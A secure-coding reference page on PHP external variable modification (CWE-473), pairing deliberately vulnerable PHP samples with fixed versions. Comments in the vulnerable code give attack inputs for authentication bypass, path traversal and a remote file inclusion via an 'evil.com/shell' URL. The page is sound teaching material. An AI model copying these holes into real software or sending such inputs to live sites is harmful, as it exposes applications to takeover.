PHP External Variable Modification
Description
PHP External Variable Modification is a vulnerability where a PHP application does not properly protect against the modification of variables from external sources such as query parameters, POST data, or cookies. This vulnerability is particularly dangerous due to PHP's historical register_globals feature (now deprecated and removed) which automatically created variables from user input, and continues to be relevant when developers manually implement similar patterns or use unsafe variable extraction methods. External variable modification can expose applications to numerous weaknesses that might otherwise not exist.
Risk
PHP external variable modification can lead to authentication bypass, authorization bypass, remote file inclusion, and arbitrary code execution. When attackers can control internal variables by manipulating request parameters, they can overwrite security flags, change file paths, or modify application logic. Legacy applications or those using insecure coding patterns like extract($_GET) are particularly vulnerable. The risk is severe because attackers can often gain complete control over application behavior by simply adding request parameters.
Solution
Identify all externally-controllable variables and adopt naming conventions to highlight them (e.g., prefix with $_input_). Perform adequate validation when accepting input from outside trust boundaries. Disable register_globals in PHP configuration (disabled by default in PHP 5.4+, removed in PHP 8.0+). Never use extract() with user input or use it with EXTR_SKIP flag at minimum. If implementing a register_globals emulator, carefully avoid variable extraction and dynamic evaluation vulnerabilities. Use explicit variable assignment rather than automatic registration of user input.
Common Consequences
| Impact | Details |
|---|---|
| Integrity | Scope: Integrity Modify Application Data - Attackers can modify internal variables, changing application behavior, overwriting security settings, or manipulating business logic. |
| Access Control | Scope: Access Control Bypass Protection Mechanism - Authentication and authorization checks can be bypassed by overwriting flag variables that control access decisions. |
Example Code
Vulnerable Code
<?php
// Vulnerable: register_globals emulator
// This pattern was common in older PHP applications
// Vulnerable: Extracts all GET variables into global scope
foreach ($_GET as $key => $value) {
$$key = $value; // Variable variable assignment
}
// Attacker can now control ANY variable by passing it in URL
// Example: ?authenticated=1&admin=true&debug=1
// Vulnerable: Authentication check
if (!isset($authenticated)) {
$authenticated = false;
}
if ($authenticated) {
// Attacker bypasses by visiting: ?authenticated=1
include('admin_panel.php');
}
?>
<?php
// Vulnerable: Using extract() with user input
function vulnerable_process_form() {
// Extracts ALL POST data as variables
extract($_POST); // DANGEROUS!
// Attacker POSTs: user_role=admin&price=0.01&validated=true
// These become local variables: $user_role, $price, $validated
if ($validated) {
process_order($price); // Uses attacker-controlled price
}
}
?>
<?php
// Vulnerable: Uninitialized variable combined with external input
function vulnerable_file_include() {
// $template is not initialized before this point
if ($_GET['use_custom']) {
$template = $_GET['template'];
}
// Vulnerable: If 'use_custom' is false but attacker provides
// ?template=../../etc/passwd, older PHP might still use it
include($template . '.php');
// With register_globals: ?template=http://evil.com/shell
// Results in remote file inclusion
}
?>
<?php
// Vulnerable: Session data overwrite
session_start();
// Vulnerable: Overwrites session with POST data
foreach ($_POST as $key => $value) {
$_SESSION[$key] = $value;
}
// Attacker POSTs: user_id=1&role=admin&logged_in=true
// Hijacks session and gains admin access
if ($_SESSION['logged_in'] && $_SESSION['role'] == 'admin') {
show_admin_dashboard();
}
?>
<?php
// Vulnerable: Variable variable in loop
function vulnerable_config_loader($params) {
foreach ($params as $key => $value) {
// Vulnerable: Creates variables from user-controllable array
global $$key;
$$key = $value;
}
}
// Attacker controls $params via manipulated input
// Can overwrite any global variable including:
// - Database credentials
// - Security settings
// - Include paths
// Vulnerable: Automatic object property assignment
class VulnerableUser {
public $username;
public $role = 'guest';
public $is_admin = false;
public function __construct($data) {
// Vulnerable: Mass assignment from user input
foreach ($data as $key => $value) {
if (property_exists($this, $key)) {
$this->$key = $value;
}
}
}
}
// Attacker POSTs: username=hacker&role=admin&is_admin=true
$user = new VulnerableUser($_POST);
// $user->role is now 'admin', $user->is_admin is true
?>
Fixed Code
<?php
// Fixed: Explicit variable handling
function secure_process_form() {
// Fixed: Explicitly assign only expected variables
$name = isset($_POST['name']) ? sanitize($_POST['name']) : '';
$email = isset($_POST['email']) ? filter_var($_POST['email'], FILTER_VALIDATE_EMAIL) : '';
$quantity = isset($_POST['quantity']) ? (int)$_POST['quantity'] : 1;
// Fixed: Security-sensitive values from server-side only
$price = get_product_price_from_db($product_id); // Not from user input
$user_role = $_SESSION['role'] ?? 'guest'; // From session, not request
// Validate and process with known, controlled values
if (empty($name) || empty($email)) {
return ['error' => 'Required fields missing'];
}
process_order($name, $email, $quantity, $price);
}
?>
<?php
// Fixed: If extract() must be used, use safe options
function safer_extract($data, $allowed_keys) {
// Fixed: Whitelist approach
$safe_data = array_intersect_key($data, array_flip($allowed_keys));
// Fixed: Use EXTR_SKIP to not overwrite existing variables
extract($safe_data, EXTR_SKIP);
return $safe_data;
}
// Usage
$allowed = ['first_name', 'last_name', 'email'];
$user_input = safer_extract($_POST, $allowed);
// Only allowed keys are extracted, can't overwrite security variables
?>
<?php
// Fixed: Secure file inclusion
function secure_file_include() {
// Fixed: Whitelist of allowed templates
$allowed_templates = ['home', 'about', 'contact', 'products'];
// Fixed: Get template from user, validate against whitelist
$template = $_GET['template'] ?? 'home';
if (!in_array($template, $allowed_templates, true)) {
$template = 'home'; // Default to safe value
}
// Fixed: Construct path without user input in path components
$template_path = __DIR__ . '/templates/' . $template . '.php';
// Fixed: Verify file exists and is within expected directory
$real_path = realpath($template_path);
$template_dir = realpath(__DIR__ . '/templates/');
if ($real_path && strpos($real_path, $template_dir) === 0) {
include($real_path);
} else {
include(__DIR__ . '/templates/error.php');
}
}
?>
<?php
// Fixed: Secure session handling
session_start();
// Fixed: Only allow specific session keys to be set
function update_session_safely($input, $allowed_keys) {
foreach ($allowed_keys as $key) {
if (isset($input[$key])) {
$_SESSION['user_' . $key] = sanitize($input[$key]);
}
}
}
// Fixed: Explicit whitelist for session updates
$allowed_updates = ['preferences', 'language', 'timezone'];
update_session_safely($_POST, $allowed_updates);
// Fixed: Security-critical session data set only by authentication code
// $_SESSION['user_id'], $_SESSION['role'], $_SESSION['logged_in']
// are NEVER set from user input
?>
<?php
// Fixed: Secure object initialization
class SecureUser {
public string $username;
private string $role = 'guest';
private bool $is_admin = false;
// Fixed: Whitelist of assignable properties
private const ASSIGNABLE = ['username', 'email', 'display_name'];
public function __construct(array $data) {
// Fixed: Only assign whitelisted properties
foreach (self::ASSIGNABLE as $key) {
if (isset($data[$key])) {
$this->$key = $this->sanitize($data[$key]);
}
}
// Fixed: Role and is_admin can only be set internally
}
public function setRole(string $role): void {
// Fixed: Validate against allowed roles
if (in_array($role, ['guest', 'user', 'moderator', 'admin'], true)) {
$this->role = $role;
$this->is_admin = ($role === 'admin');
}
}
public function getRole(): string {
return $this->role;
}
private function sanitize($value): string {
return htmlspecialchars(strip_tags($value), ENT_QUOTES, 'UTF-8');
}
}
// Attacker POSTs: username=hacker&role=admin&is_admin=true
$user = new SecureUser($_POST);
// $user->role remains 'guest', $user->is_admin remains false
// Only username was set (if provided)
?>
CVE Examples
- CVE-2000-0860 - Hidden form variables were exposed via register_globals, allowing arbitrary file access.
- CVE-2001-0854 - Misplaced trust in
$PHP_SELFvariable led to security bypass. - CVE-2002-0764 - Remote file inclusion through modified variables.
- CVE-2001-1025 - Key variable modification in uninitialized scripts allowed bypass.
- CVE-2003-0754 - Authentication bypass through array modification.
References
- MITRE Corporation. "CWE-473: PHP External Variable Modification." https://cwe.mitre.org/data/definitions/473.html
- PHP Manual. "Using Register Globals." https://www.php.net/manual/en/security.globals.php
- OWASP. "PHP Security Cheat Sheet."
- CAPEC-77. "Manipulating User-Controlled Variables."